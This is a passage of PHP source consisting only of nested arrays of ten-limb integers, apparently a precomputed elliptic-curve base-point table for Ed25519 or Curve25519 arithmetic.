5335866, -6493768, 2378492, 4439158, -13279347),
                array(-22716706, 3489070, -9225266, -332753, 18875722,
-1140095, 14819434, -12731527, -17717757, -5461437),
            ),
            array(
                array(-5056483, 16566551, 15953661, 3767752, -10436499,
15627060, -820954, 2177225, 8550082, -15114165),
                array(-18473302, 16596775, -381660, 15663611, 22860960,
15585581, -27844109, -3582739, -23260460, -8428588),
                array(-32480551, 15707275, -8205912, -5652081, 29464558,
2713815, -22725137, 15860482, -21902570, 1494193),
            ),
            array(
                array(-19562091, -14087393, -25583872, -9299552, 13127842,
759709, 21923482, 16529112, 8742704, 12967017),
                array(-28464899, 1553205, 32536856, -10473729, -24691605,
-406174, -8914625, -2933896, -29903758, 15553883),
                array(21877909, 3230008, 9881174, 10539357, -4797115,
2841332, 11543572, 14513274, 19375923, -12647961),
            ),
            array(
                array(8832269, -14495485, 13253511, 5137575, 5037871,
4078777, 24880818, -6222716, 2862653, 9455043),
                array(29306751, 5123106, 20245049, -14149889, 9592566,
8447059, -2077124, -2990080, 15511449, 4789663),
                array(-20679756, 7004547, 8824831, -9434977, -4045704,
-3750736, -5754762, 108893, 23513200, 16652362),
            ),
        ),
        array(
            array(
                array(-33256173, 4144782, -4476029, -6579123, 10770039,
-7155542, -6650416, -12936300, -18319198, 10212860),
                array(2756081, 8598110, 7383731, -6859892, 22312759,
-1105012, 21179801, 2600940, -9988298, -12506466),
                array(-24645692, 13317462, -30449259, -15653928, 21365574,
-10869657, 11344424, 864440, -2499677, -16710063),
            ),
            array(
                array(-26432803, 6148329, -17184412, -14474154, 18782929,
-275997, -22561534, 211300, 2719757, 4940997),
                array(-1323882, 3911313, -6948744, 14759765, -30027150,
7851207, 21690126, 8518463, 26699843, 5276295),
                array(-13149873, -6429067, 9396249, 365013, 24703301,
-10488939, 1321586, 149635, -15452774, 7159369),
            ),
            array(
                array(9987780, -3404759, 17507962, 9505530, 9731535,
-2165514, 22356009, 8312176, 22477218, -8403385),
                array(18155857, -16504990, 19744716, 9006923, 15154154,
-10538976, 24256460, -4864995, -22548173, 9334109),
                array(2986088, -4911893, 10776628, -3473844, 10620590,
-7083203, -21413845, 14253545, -22587149, 536906),
            ),
            array(
                array(4377756, 8115836, 24567078, 15495314, 11625074,
13064599, 7390551, 10589625, 10838060, -15420424),
                array(-19342404, 867880, 9277171, -3218459, -14431572,
-1986443, 19295826, -15796950, 6378260, 699185),
                array(7895026, 4057113, -7081772, -13077756, -17886831,
-323126, -716039, 15693155, -5045064, -13373962),
            ),
            array(
                array(-7737563, -5869402, -14566319, -7406919, 11385654,
13201616, 31730678, -10962840, -3918636, -9669325),
                array(10188286, -15770834, -7336361, 13427543, 22223443,
14896287, 30743455, 7116568, -21786507, 5427593),
                array(696102, 13206899, 27047647, -10632082, 15285305,
-9853179, 10798490, -4578720, 19236243, 12477404),
            ),
            array(
                array(-11229439, 11243796, -17054270, -8040865, -788228,
-8167967, -3897669, 11180504, -23169516, 7733644),
                array(17800790, -14036179, -27000429, -11766671, 23887827,
3149671, 23466177, -10538171, 10322027, 15313801),
                array(26246234, 11968874, 32263343, -5468728, 6830755,
-13323031, -15794704, -101982, -24449242, 10890804),
            ),
            array(
                array(-31365647, 10271363, -12660625, -6267268, 16690207,
-13062544, -14982212, 16484931, 25180797, -5334884),
                array(-586574, 10376444, -32586414, -11286356, 19801893,
10997610, 2276632, 9482883, 316878, 13820577),
                array(-9882808, -4510367, -2115506, 16457136, -11100081,
11674996, 30756178, -7515054, 30696930, -3712849),
            ),
            array(
                array(32988917, -9603412, 12499366, 7910787, -10617257,
-11931514, -7342816, -9985397, -32349517, 7392473),
                array(-8855661, 15927861, 9866406, -3649411, -2396914,
-16655781, -30409476, -9134995, 25112947, -2926644),
                array(-2504044, -436966, 25621774, -5678772, 15085042,
-5479877, -24884878, -13526194, 5537438, -13914319),
            ),
        ),
        array(
            array(
                array(-11225584, 2320285, -9584280, 10149187, -33444663,
5808648, -14876251, -1729667, 31234590, 6090599),
                array(-9633316, 116426, 26083934, 2897444, -6364437,
-2688086, 609721, 15878753, -6970405, -9034768),
                array(-27757857, 247744, -15194774, -9002551, 23288161,
-10011936, -23869595, 6503646, 20650474, 1804084),
            ),
            array(
                array(-27589786, 15456424, 8972517, 8469608, 15640622,
4439847, 3121995, -10329713, 27842616, -202328),
                array(-15306973, 2839644, 22530074, 10026331, 4602058,
5048462, 28248656, 5031932, -11375082, 12714369),
                array(20807691, -7270825, 29286141, 11421711, -27876523,
-13868230, -21227475, 1035546, -19733229, 12796920),
            ),
            array(
                array(12076899, -14301286, -8785001, -11848922, -25012791,
16400684, -17591495, -12899438, 3480665, -15182815),
                array(-32361549, 5457597, 28548107, 7833186, 7303070,
-11953545, -24363064, -15921875, -33374054, 2771025),
                array(-21389266, 421932, 26597266, 6860826, 22486084,
-6737172, -17137485, -4210226, -24552282, 15673397),
            ),
            array(
                array(-20184622, 2338216, 19788685, -9620956, -4001265,
-8740893, -20271184, 4733254, 3727144, -12934448),
                array(6120119, 814863, -11794402, -622716, 6812205,
-15747771, 2019594, 7975683, 31123697, -10958981),
                array(30069250, -11435332, 30434654, 2958439, 18399564,
-976289, 12296869, 9204260, -16432438, 9648165),
            ),
            array(
                array(32705432, -1550977, 30705658, 7451065, -11805606,
9631813, 3305266, 5248604, -26008332, -11377501),
                array(17219865, 2375039, -31570947, -5575615, -19459679,
9219903, 294711, 15298639, 2662509, -16297073),
                array(-1172927, -7558695, -4366770, -4287744, -21346413,
-8434326, 32087529, -1222777, 32247248, -14389861),
            ),
            array(
                array(14312628, 1221556, 17395390, -8700143, -4945741,
-8684635, -28197744, -9637817, -16027623, -13378845),
                array(-1428825, -9678990, -9235681, 6549687, -7383069,
-468664, 23046502, 9803137, 17597934, 2346211),
                array(18510800, 15337574, 26171504, 981392, -22241552,
7827556, -23491134, -11323352, 3059833, -11782870),
            ),
            array(
                array(10141598, 6082907, 17829293, -1947643, 9830092,
13613136, -25556636, -5544586, -33502212, 3592096),
                array(33114168, -15889352, -26525686, -13343397, 33076705,
8716171, 1151462, 1521897, -982665, -6837803),
                array(-32939165, -4255815, 23947181, -324178, -33072974,
-12305637, -16637686, 3891704, 26353178, 693168),
            ),
            array(
                array(30374239, 1595580, -16884039, 13186931, 4600344,
406904, 9585294, -400668, 31375464, 14369965),
                array(-14370654, -7772529, 1510301, 6434173, -18784789,
-6262728, 32732230, -13108839, 17901441, 16011505),
                array(18171223, -11934626, -12500402, 15197122, -11038147,
-15230035, -19172240, -16046376, 8764035, 12309598),
            ),
        ),
        array(
            array(
                array(5975908, -5243188, -19459362, -9681747, -11541277,
14015782, -23665757, 1228319, 17544096, -10593782),
                array(5811932, -1715293, 3442887, -2269310, -18367348,
-8359541, -18044043, -15410127, -5565381, 12348900),
                array(-31399660, 11407555, 25755363, 6891399, -3256938,
14872274, -24849353, 8141295, -10632534, -585479),
            ),
            array(
                array(-12675304, 694026, -5076145, 13300344, 14015258,
-14451394, -9698672, -11329050, 30944593, 1130208),
                array(8247766, -6710942, -26562381, -7709309, -14401939,
-14648910, 4652152, 2488540, 23550156, -271232),
                array(17294316, -3788438, 7026748, 15626851, 22990044,
113481, 2267737, -5908146, -408818, -137719),
            ),
            array(
                array(16091085, -16253926, 18599252, 7340678, 2137637,
-1221657, -3364161, 14550936, 3260525, -7166271),
                array(-4910104, -13332887, 18550887, 10864893, -16459325,
-7291596, -23028869, -13204905, -12748722, 2701326),
                array(-8574695, 16099415, 4629974, -16340524, -20786213,
-6005432, -10018363, 9276971, 11329923, 1862132),
            ),
            array(
                array(14763076, -15903608, -30918270, 3689867, 3511892,
10313526, -21951088, 12219231, -9037963, -940300),
                array(8894987, -3446094, 6150753, 3013931, 301220,
15693451, -31981216, -2909717, -15438168, 11595570),
                array(15214962, 3537601, -26238722, -14058872, 4418657,
-15230761, 13947276, 10730794, -13489462, -4363670),
            ),
            array(
                array(-2538306, 7682793, 32759013, 263109, -29984731,
-7955452, -22332124, -10188635, 977108, 699994),
                array(-12466472, 4195084, -9211532, 550904, -15565337,
12917920, 19118110, -439841, -30534533, -14337913),
                array(31788461, -14507657, 4799989, 7372237, 8808585,
-14747943, 9408237, -10051775, 12493932, -5409317),
            ),
            array(
                array(-25680606, 5260744, -19235809, -6284470, -3695942,
16566087, 27218280, 2607121, 29375955, 6024730),
                array(842132, -2794693, -4763381, -8722815, 26332018,
-12405641, 11831880, 6985184, -9940361, 2854096),
                array(-4847262, -7969331, 2516242, -5847713, 9695691,
-7221186, 16512645, 960770, 12121869, 16648078),
            ),
            array(
                array(-15218652, 14667096, -13336229, 2013717, 30598287,
-464137, -31504922, -7882064, 20237806, 2838411),
                array(-19288047, 4453152, 15298546, -16178388, 22115043,
-15972604, 12544294, -13470457, 1068881, -12499905),
                array(-9558883, -16518835, 33238498, 13506958, 30505848,
-1114596, -8486907, -2630053, 12521378, 4845654),
            ),
            array(
                array(-28198521, 10744108, -2958380, 10199664, 7759311,
-13088600, 3409348, -873400, -6482306, -12885870),
                array(-23561822, 6230156, -20382013, 10655314, -24040585,
-11621172, 10477734, -1240216, -3113227, 13974498),
                array(12966261, 15550616, -32038948, -1615346, 21025980,
-629444, 5642325, 7188737, 18895762, 12629579),
            ),
        ),
        array(
            array(
                array(14741879, -14946887, 22177208, -11721237, 1279741,
8058600, 11758140, 789443, 32195181, 3895677),
                array(10758205, 15755439, -4509950, 9243698, -4879422,
6879879, -2204575, -3566119, -8982069, 4429647),
                array(-2453894, 15725973, -20436342, -10410672, -5803908,
-11040220, -7135870, -11642895, 18047436, -15281743),
            ),
            array(
                array(-25173001, -11307165, 29759956, 11776784, -22262383,
-15820455, 10993114, -12850837, -17620701, -9408468),
                array(21987233, 700364, -24505048, 14972008, -7774265,
-5718395, 32155026, 2581431, -29958985, 8773375),
                array(-25568350, 454463, -13211935, 16126715, 25240068,
8594567, 20656846, 12017935, -7874389, -13920155),
            ),
            array(
                array(6028182, 6263078, -31011806, -11301710, -818919,
2461772, -31841174, -5468042, -1721788, -2776725),
                array(-12278994, 16624277, 987579, -5922598, 32908203,
1248608, 7719845, -4166698, 28408820, 6816612),
                array(-10358094, -8237829, 19549651, -12169222, 22082623,
16147817, 20613181, 13982702, -10339570, 5067943),
            ),
            array(
                array(-30505967, -3821767, 12074681, 13582412, -19877972,
2443951, -19719286, 12746132, 5331210, -10105944),
                array(30528811, 3601899, -1957090, 4619785, -27361822,
-15436388, 24180793, -12570394, 27679908, -1648928),
                array(9402404, -13957065, 32834043, 10838634, -26580150,
-13237195, 26653274, -8685565, 22611444, -12715406),
            ),
            array(
                array(22190590, 1118029, 22736441, 15130463, -30460692,
-5991321, 19189625, -4648942, 4854859, 6622139),
                array(-8310738, -2953450, -8262579, -3388049, -10401731,
-271929, 13424426, -3567227, 26404409, 13001963),
                array(-31241838, -15415700, -2994250, 8939346, 11562230,
-12840670, -26064365, -11621720, -15405155, 11020693),
            ),
            array(
                array(1866042, -7949489, -7898649, -10301010, 12483315,
13477547, 3175636, -12424163, 28761762, 1406734),
                array(-448555, -1777666, 13018551, 3194501, -9580420,
-11161737, 24760585, -4347088, 25577411, -13378680),
                array(-24290378, 4759345, -690653, -1852816, 2066747,
10693769, -29595790, 9884936, -9368926, 4745410),
            ),
            array(
                array(-9141284, 6049714, -19531061, -4341411, -31260798,
9944276, -15462008, -11311852, 10931924, -11931931),
                array(-16561513, 14112680, -8012645, 4817318, -8040464,
-11414606, -22853429, 10856641, -20470770, 13434654),
                array(22759489, -10073434, -16766264, -1871422, 13637442,
-10168091, 1765144, -12654326, 28445307, -5364710),
            ),
            array(
                array(29875063, 12493613, 2795536, -3786330, 1710620,
15181182, -10195717, -8788675, 9074234, 1167180),
                array(-26205683, 11014233, -9842651, -2635485, -26908120,
7532294, -18716888, -9535498, 3843903, 9367684),
                array(-10969595, -6403711, 9591134, 9582310, 11349256,
108879, 16235123, 8601684, -139197, 4242895),
            ),
        ),
        array(
            array(
                array(22092954, -13191123, -2042793, -11968512, 32186753,
-11517388, -6574341, 2470660, -27417366, 16625501),
                array(-11057722, 3042016, 13770083, -9257922, 584236,
-544855, -7770857, 2602725, -27351616, 14247413),
                array(6314175, -10264892, -32772502, 15957557, -10157730,
168750, -8618807, 14290061, 27108877, -1180880),
            ),
            array(
                array(-8586597, -7170966, 13241782, 10960156, -32991015,
-13794596, 33547976, -11058889, -27148451, 981874),
                array(22833440, 9293594, -32649448, -13618667, -9136966,
14756819, -22928859, -13970780, -10479804, -16197962),
                array(-7768587, 3326786, -28111797, 10783824, 19178761,
14905060, 22680049, 13906969, -15933690, 3797899),
            ),
            array(
                array(21721356, -4212746, -12206123, 9310182, -3882239,
-13653110, 23740224, -2709232, 20491983, -8042152),
                array(9209270, -15135055, -13256557, -6167798, -731016,
15289673, 25947805, 15286587, 30997318, -6703063),
                array(7392032, 16618386, 23946583, -8039892, -13265164,
-1533858, -14197445, -2321576, 17649998, -250080),
            ),
            array(
                array(-9301088, -14193827, 30609526, -3049543, -25175069,
-1283752, -15241566, -9525724, -2233253, 7662146),
                array(-17558673, 1763594, -33114336, 15908610, -30040870,
-12174295, 7335080, -8472199, -3174674, 3440183),
                array(-19889700, -5977008, -24111293, -9688870, 10799743,
-16571957, 40450, -4431835, 4862400, 1133),
            ),
            array(
                array(-32856209, -7873957, -5422389, 14860950, -16319031,
7956142, 7258061, 311861, -30594991, -7379421),
                array(-3773428, -1565936, 28985340, 7499440, 24445838,
9325937, 29727763, 16527196, 18278453, 15405622),
                array(-4381906, 8508652, -19898366, -3674424, -5984453,
15149970, -13313598, 843523, -21875062, 13626197),
            ),
            array(
                array(2281448, -13487055, -10915418, -2609910, 1879358,
16164207, -10783882, 3953792, 13340839, 15928663),
                array(31727126, -7179855, -18437503, -8283652, 2875793,
-16390330, -25269894, -7014826, -23452306, 5964753),
                array(4100420, -5959452, -17179337, 6017714, -18705837,
12227141, -26684835, 11344144, 2538215, -7570755),
            ),
            array(
                array(-9433605, 6123113, 11159803, -2156608, 30016280,
14966241, -20474983, 1485421, -629256, -15958862),
                array(-26804558, 4260919, 11851389, 9658551, -32017107,
16367492, -20205425, -13191288, 11659922, -11115118),
                array(26180396, 10015009, -30844224, -8581293, 5418197,
9480663, 2231568, -10170080, 33100372, -1306171),
            ),
            array(
                array(15121113, -5201871, -10389905, 15427821, -27509937,
-15992507, 21670947, 4486675, -5931810, -14466380),
                array(16166486, -9483733, -11104130, 6023908, -31926798,
-1364923, 2340060, -16254968, -10735770, -10039824),
                array(28042865, -3557089, -12126526, 12259706, -3717498,
-6945899, 6766453, -8689599, 18036436, 5803270),
            ),
        ),
        array(
            array(
                array(-817581, 6763912, 11803561, 1585585, 10958447,
-2671165, 23855391, 4598332, -6159431, -14117438),
                array(-31031306, -14256194, 17332029, -2383520, 31312682,
-5967183, 696309, 50292, -20095739, 11763584),
                array(-594563, -2514283, -32234153, 12643980, 12650761,
14811489, 665117, -12613632, -19773211, -10713562),
            ),
            array(
                array(30464590, -11262872, -4127476, -12734478, 19835327,
-7105613, -24396175, 2075773, -17020157, 992471),
                array(18357185, -6994433, 7766382, 16342475, -29324918,
411174, 14578841, 8080033, -11574335, -10601610),
                array(19598397, 10334610, 12555054, 2555664, 18821899,
-10339780, 21873263, 16014234, 26224780, 16452269),
            ),
            array(
                array(-30223925, 5145196, 5944548, 16385966, 3976735,
2009897, -11377804, -7618186, -20533829, 3698650),
                array(14187449, 3448569, -10636236, -10810935, -22663880,
-3433596, 7268410, -10890444, 27394301, 12015369),
                array(19695761, 16087646, 28032085, 12999827, 6817792,
11427614, 20244189, -1312777, -13259127, -3402461),
            ),
            array(
                array(30860103, 12735208, -1888245, -4699734, -16974906,
2256940, -8166013, 12298312, -8550524, -10393462),
                array(-5719826, -11245325, -1910649, 15569035, 26642876,
-7587760, -5789354, -15118654, -4976164, 12651793),
                array(-2848395, 9953421, 11531313, -5282879, 26895123,
-12697089, -13118820, -16517902, 9768698, -2533218),
            ),
            array(
                array(-24719459, 1894651, -287698, -4704085, 15348719,
-8156530, 32767513, 12765450, 4940095, 10678226),
                array(18860224, 15980149, -18987240, -1562570, -26233012,
-11071856, -7843882, 13944024, -24372348, 16582019),
                array(-15504260, 4970268, -29893044, 4175593, -20993212,
-2199756, -11704054, 15444560, -11003761, 7989037),
            ),
            array(
                array(31490452, 5568061, -2412803, 2182383, -32336847,
4531686, -32078269, 6200206, -19686113, -14800171),
                array(-17308668, -15879940, -31522777, -2831, -32887382,
16375549, 8680158, -16371713, 28550068, -6857132),
                array(-28126887, -5688091, 16837845, -1820458, -6850681,
12700016, -30039981, 4364038, 1155602, 5988841),
            ),
            array(
                array(21890435, -13272907, -12624011, 12154349, -7831873,
15300496, 23148983, -4470481, 24618407, 8283181),
                array(-33136107, -10512751, 9975416, 6841041, -31559793,
16356536, 3070187, -7025928, 1466169, 10740210),
                array(-1509399, -15488185, -13503385, -10655916, 32799044,
909394, -13938903, -5779719, -32164649, -15327040),
            ),
            array(
                array(3960823, -14267803, -28026090, -15918051, -19404858,
13146868, 15567327, 951507, -3260321, -573935),
                array(24740841, 5052253, -30094131, 8961361, 25877428,
6165135, -24368180, 14397372, -7380369, -6144105),
                array(-28888365, 3510803, -28103278, -1158478, -11238128,
-10631454, -15441463, -14453128, -1625486, -6494814),
            ),
        ),
        array(
            array(
                array(793299, -9230478, 8836302, -6235707, -27360908,
-2369593, 33152843, -4885251, -9906200, -621852),
                array(5666233, 525582, 20782575, -8038419, -24538499,
14657740, 16099374, 1468826, -6171428, -15186581),
                array(-4859255, -3779343, -2917758, -6748019, 7778750,
11688288, -30404353, -9871238, -1558923, -9863646),
            ),
            array(
                array(10896332, -7719704, 824275, 472601, -19460308,
3009587, 25248958, 14783338, -30581476, -15757844),
                array(10566929, 12612572, -31944212, 11118703, -12633376,
12362879, 21752402, 8822496, 24003793, 14264025),
                array(27713862, -7355973, -11008240, 9227530, 27050101,
2504721, 23886875, -13117525, 13958495, -5732453),
            ),
            array(
                array(-23481610, 4867226, -27247128, 3900521, 29838369,
-8212291, -31889399, -10041781, 7340521, -15410068),
                array(4646514, -8011124, -22766023, -11532654, 23184553,
8566613, 31366726, -1381061, -15066784, -10375192),
                array(-17270517, 12723032, -16993061, 14878794, 21619651,
-6197576, 27584817, 3093888, -8843694, 3849921),
            ),
            array(
                array(-9064912, 2103172, 25561640, -15125738, -5239824,
9582958, 32477045, -9017955, 5002294, -15550259),
                array(-12057553, -11177906, 21115585, -13365155, 8808712,
-12030708, 16489530, 13378448, -25845716, 12741426),
                array(-5946367, 10645103, -30911586, 15390284, -3286982,
-7118677, 24306472, 15852464, 28834118, -7646072),
            ),
            array(
                array(-17335748, -9107057, -24531279, 9434953, -8472084,
-583362, -13090771, 455841, 20461858, 5491305),
                array(13669248, -16095482, -12481974, -10203039, -14569770,
-11893198, -24995986, 11293807, -28588204, -9421832),
                array(28497928, 6272777, -33022994, 14470570, 8906179,
-1225630, 18504674, -14165166, 29867745, -8795943),
            ),
            array(
                array(-16207023, 13517196, -27799630, -13697798, 24009064,
-6373891, -6367600, -13175392, 22853429, -4012011),
                array(24191378, 16712145, -13931797, 15217831, 14542237,
1646131, 18603514, -11037887, 12876623, -2112447),
                array(17902668, 4518229, -411702, -2829247, 26878217,
5258055, -12860753, 608397, 16031844, 3723494),
            ),
            array(
                array(-28632773, 12763728, -20446446, 7577504, 33001348,
-13017745, 17558842, -7872890, 23896954, -4314245),
                array(-20005381, -12011952, 31520464, 605201, 2543521,
5991821, -2945064, 7229064, -9919646, -8826859),
                array(28816045, 298879, -28165016, -15920938, 19000928,
-1665890, -12680833, -2949325, -18051778, -2082915),
            ),
            array(
                array(16000882, -344896, 3493092, -11447198, -29504595,
-13159789, 12577740, 16041268, -19715240, 7847707),
                array(10151868, 10572098, 27312476, 7922682, 14825339,
4723128, -32855931, -6519018, -10020567, 3852848),
                array(-11430470, 15697596, -21121557, -4420647, 5386314,
15063598, 16514493, -15932110, 29330899, -15076224),
            ),
        ),
        array(
            array(
                array(-25499735, -4378794, -15222908, -6901211, 16615731,
2051784, 3303702, 15490, -27548796, 12314391),
                array(15683520, -6003043, 18109120, -9980648, 15337968,
-5997823, -16717435, 15921866, 16103996, -3731215),
                array(-23169824, -10781249, 13588192, -1628807, -3798557,
-1074929, -19273607, 5402699, -29815713, -9841101),
            ),
            array(
                array(23190676, 2384583, -32714340, 3462154, -29903655,
-1529132, -11266856, 8911517, -25205859, 2739713),
                array(21374101, -3554250, -33524649, 9874411, 15377179,
11831242, -33529904, 6134907, 4931255, 11987849),
                array(-7732, -2978858, -16223486, 7277597, 105524, -322051,
-31480539, 13861388, -30076310, 10117930),
            ),
            array(
                array(-29501170, -10744872, -26163768, 13051539, -25625564,
5089643, -6325503, 6704079, 12890019, 15728940),
                array(-21972360, -11771379, -951059, -4418840, 14704840,
2695116, 903376, -10428139, 12885167, 8311031),
                array(-17516482, 5352194, 10384213, -13811658, 7506451,
13453191, 26423267, 4384730, 1888765, -5435404),
            ),
            array(
                array(-25817338, -3107312, -13494599, -3182506, 30896459,
-13921729, -32251644, -12707869, -19464434, -3340243),
                array(-23607977, -2665774, -526091, 4651136, 5765089,
4618330, 6092245, 14845197, 17151279, -9854116),
                array(-24830458, -12733720, -15165978, 10367250, -29530908,
-265356, 22825805, -7087279, -16866484, 16176525),
            ),
            array(
                array(-23583256, 6564961, 20063689, 3798228, -4740178,
7359225, 2006182, -10363426, -28746253, -10197509),
                array(-10626600, -4486402, -13320562, -5125317, 3432136,
-6393229, 23632037, -1940610, 32808310, 1099883),
                array(15030977, 5768825, -27451236, -2887299, -6427378,
-15361371, -15277896, -6809350, 2051441, -15225865),
            ),
            array(
                array(-3362323, -7239372, 7517890, 9824992, 23555850,
295369, 5148398, -14154188, -22686354, 16633660),
                array(4577086, -16752288, 13249841, -15304328, 19958763,
-14537274, 18559670, -10759549, 8402478, -9864273),
                array(-28406330, -1051581, -26790155, -907698, -17212414,
-11030789, 9453451, -14980072, 17983010, 9967138),
            ),
            array(
                array(-25762494, 6524722, 26585488, 9969270, 24709298,
1220360, -1677990, 7806337, 17507396, 3651560),
                array(-10420457, -4118111, 14584639, 15971087, -15768321,
8861010, 26556809, -5574557, -18553322, -11357135),
                array(2839101, 14284142, 4029895, 3472686, 14402957,
12689363, -26642121, 8459447, -5605463, -7621941),
            ),
            array(
                array(-4839289, -3535444, 9744961, 2871048, 25113978,
3187018, -25110813, -849066, 17258084, -7977739),
                array(18164541, -10595176, -17154882, -1542417, 19237078,
-9745295, 23357533, -15217008, 26908270, 12150756),
                array(-30264870, -7647865, 5112249, -7036672, -1499807,
-6974257, 43168, -5537701, -32302074, 16215819),
            ),
        ),
        array(
            array(
                array(-6898905, 9824394, -12304779, -4401089, -31397141,
-6276835, 32574489, 12532905, -7503072, -8675347),
                array(-27343522, -16515468, -27151524, -10722951, 946346,
16291093, 254968, 7168080, 21676107, -1943028),
                array(21260961, -8424752, -16831886, -11920822, -23677961,
3968121, -3651949, -6215466, -3556191, -7913075),
            ),
            array(
                array(16544754, 13250366, -16804428, 15546242, -4583003,
12757258, -2462308, -8680336, -18907032, -9662799),
                array(-2415239, -15577728, 18312303, 4964443, -15272530,
-12653564, 26820651, 16690659, 25459437, -4564609),
                array(-25144690, 11425020, 28423002, -11020557, -6144921,
-15826224, 9142795, -2391602, -6432418, -1644817),
            ),
            array(
                array(-23104652, 6253476, 16964147, -3768872, -25113972,
-12296437, -27457225, -16344658, 6335692, 7249989),
                array(-30333227, 13979675, 7503222, -12368314, -11956721,
-4621693, -30272269, 2682242, 25993170, -12478523),
                array(4364628, 5930691, 32304656, -10044554, -8054781,
15091131, 22857016, -10598955, 31820368, 15075278),
            ),
            array(
                array(31879134, -8918693, 17258761, 90626, -8041836,
-4917709, 24162788, -9650886, -17970238, 12833045),
                array(19073683, 14851414, -24403169, -11860168, 7625278,
11091125, -19619190, 2074449, -9413939, 14905377),
                array(24483667, -11935567, -2518866, -11547418, -1553130,
15355506, -25282080, 9253129, 27628530, -7555480),
            ),
            array(
                array(17597607, 8340603, 19355617, 552187, 26198470,
-3176583, 4593324, -9157582, -14110875, 15297016),
                array(510886, 14337390, -31785257, 16638632, 6328095,
2713355, -20217417, -11864220, 8683221, 2921426),
                array(18606791, 11874196, 27155355, -5281482, -24031742,
6265446, -25178240, -1278924, 4674690, 13890525),
            ),
            array(
                array(13609624, 13069022, -27372361, -13055908, 24360586,
9592974, 14977157, 9835105, 4389687, 288396),
                array(9922506, -519394, 13613107, 5883594, -18758345,
-434263, -12304062, 8317628, 23388070, 16052080),
                array(12720016, 11937594, -31970060, -5028689, 26900120,
8561328, -20155687, -11632979, -14754271, -10812892),
            ),
            array(
                array(15961858, 14150409, 26716931, -665832, -22794328,
13603569, 11829573, 7467844, -28822128, 929275),
                array(11038231, -11582396, -27310482, -7316562, -10498527,
-16307831, -23479533, -9371869, -21393143, 2465074),
                array(20017163, -4323226, 27915242, 1529148, 12396362,
15675764, 13817261, -9658066, 2463391, -4622140),
            ),
            array(
                array(-16358878, -12663911, -12065183, 4996454, -1256422,
1073572, 9583558, 12851107, 4003896, 12673717),
                array(-1731589, -15155870, -3262930, 16143082, 19294135,
13385325, 14741514, -9103726, 7903886, 2348101),
                array(24536016, -16515207, 12715592, -3862155, 1511293,
10047386, -3842346, -7129159, -28377538, 10048127),
            ),
        ),
        array(
            array(
                array(-12622226, -6204820, 30718825, 2591312, -10617028,
12192840, 18873298, -7297090, -32297756, 15221632),
                array(-26478122, -11103864, 11546244, -1852483, 9180880,
7656409, -21343950, 2095755, 29769758, 6593415),
                array(-31994208, -2907461, 4176912, 3264766, 12538965,
-868111, 26312345, -6118678, 30958054, 8292160),
            ),
            array(
                array(31429822, -13959116, 29173532, 15632448, 12174511,
-2760094, 32808831, 3977186, 26143136, -3148876),
                array(22648901, 1402143, -22799984, 13746059, 7936347,
365344, -8668633, -1674433, -3758243, -2304625),
                array(-15491917, 8012313, -2514730, -12702462, -23965846,
-10254029, -1612713, -1535569, -16664475, 8194478),
            ),
            array(
                array(27338066, -7507420, -7414224, 10140405, -19026427,
-6589889, 27277191, 8855376, 28572286, 3005164),
                array(26287124, 4821776, 25476601, -4145903, -3764513,
-15788984, -18008582, 1182479, -26094821, -13079595),
                array(-7171154, 3178080, 23970071, 6201893, -17195577,
-4489192, -21876275, -13982627, 32208683, -1198248),
            ),
            array(
                array(-16657702, 2817643, -10286362, 14811298, 6024667,
13349505, -27315504, -10497842, -27672585, -11539858),
                array(15941029, -9405932, -21367050, 8062055, 31876073,
-238629, -15278393, -1444429, 15397331, -4130193),
                array(8934485, -13485467, -23286397, -13423241, -32446090,
14047986, 31170398, -1441021, -27505566, 15087184),
            ),
            array(
                array(-18357243, -2156491, 24524913, -16677868, 15520427,
-6360776, -15502406, 11461896, 16788528, -5868942),
                array(-1947386, 16013773, 21750665, 3714552, -17401782,
-16055433, -3770287, -10323320, 31322514, -11615635),
                array(21426655, -5650218, -13648287, -5347537, -28812189,
-4920970, -18275391, -14621414, 13040862, -12112948),
            ),
            array(
                array(11293895, 12478086, -27136401, 15083750, -29307421,
14748872, 14555558, -13417103, 1613711, 4896935),
                array(-25894883, 15323294, -8489791, -8057900, 25967126,
-13425460, 2825960, -4897045, -23971776, -11267415),
                array(-15924766, -5229880, -17443532, 6410664, 3622847,
10243618, 20615400, 12405433, -23753030, -8436416),
            ),
            array(
                array(-7091295, 12556208, -20191352, 9025187, -17072479,
4333801, 4378436, 2432030, 23097949, -566018),
                array(4565804, -16025654, 20084412, -7842817, 1724999,
189254, 24767264, 10103221, -18512313, 2424778),
                array(366633, -11976806, 8173090, -6890119, 30788634,
5745705, -7168678, 1344109, -3642553, 12412659),
            ),
            array(
                array(-24001791, 7690286, 14929416, -168257, -32210835,
-13412986, 24162697, -15326504, -3141501, 11179385),
                array(18289522, -14724954, 8056945, 16430056, -21729724,
7842514, -6001441, -1486897, -18684645, -11443503),
                array(476239, 6601091, -6152790, -9723375, 17503545,
-4863900, 27672959, 13403813, 11052904, 5219329),
            ),
        ),
        array(
            array(
                array(20678546, -8375738, -32671898, 8849123, -5009758,
14574752, 31186971, -3973730, 9014762, -8579056),
                array(-13644050, -10350239, -15962508, 5075808, -1514661,
-11534600, -33102500, 9160280, 8473550, -3256838),
                array(24900749, 14435722, 17209120, -15292541, -22592275,
9878983, -7689309, -16335821, -24568481, 11788948),
            ),
            array(
                array(-3118155, -11395194, -13802089, 14797441, 9652448,
-6845904, -20037437, 10410733, -24568470, -1458691),
                array(-15659161, 16736706, -22467150, 10215878, -9097177,
7563911, 11871841, -12505194, -18513325, 8464118),
                array(-23400612, 8348507, -14585951, -861714, -3950205,
-6373419, 14325289, 8628612, 33313881, -8370517),
            ),
            array(
                array(-20186973, -4967935, 22367356, 5271547, -1097117,
-4788838, -24805667, -10236854, -8940735, -5818269),
                array(-6948785, -1795212, -32625683, -16021179, 32635414,
-7374245, 15989197, -12838188, 28358192, -4253904),
                array(-23561781, -2799059, -32351682, -1661963, -9147719,
10429267, -16637684, 4072016, -5351664, 5596589),
            ),
            array(
                array(-28236598, -3390048, 12312896, 6213178, 3117142,
16078565, 29266239, 2557221, 1768301, 15373193),
                array(-7243358, -3246960, -4593467, -7553353, -127927,
-912245, -1090902, -4504991, -24660491, 3442910),
                array(-30210571, 5124043, 14181784, 8197961, 18964734,
-11939093, 22597931, 7176455, -18585478, 13365930),
            ),
            array(
                array(-7877390, -1499958, 8324673, 4690079, 6261860,
890446, 24538107, -8570186, -9689599, -3031667),
                array(25008904, -10771599, -4305031, -9638010, 16265036,
15721635, 683793, -11823784, 15723479, -15163481),
                array(-9660625, 12374379, -27006999, -7026148, -7724114,
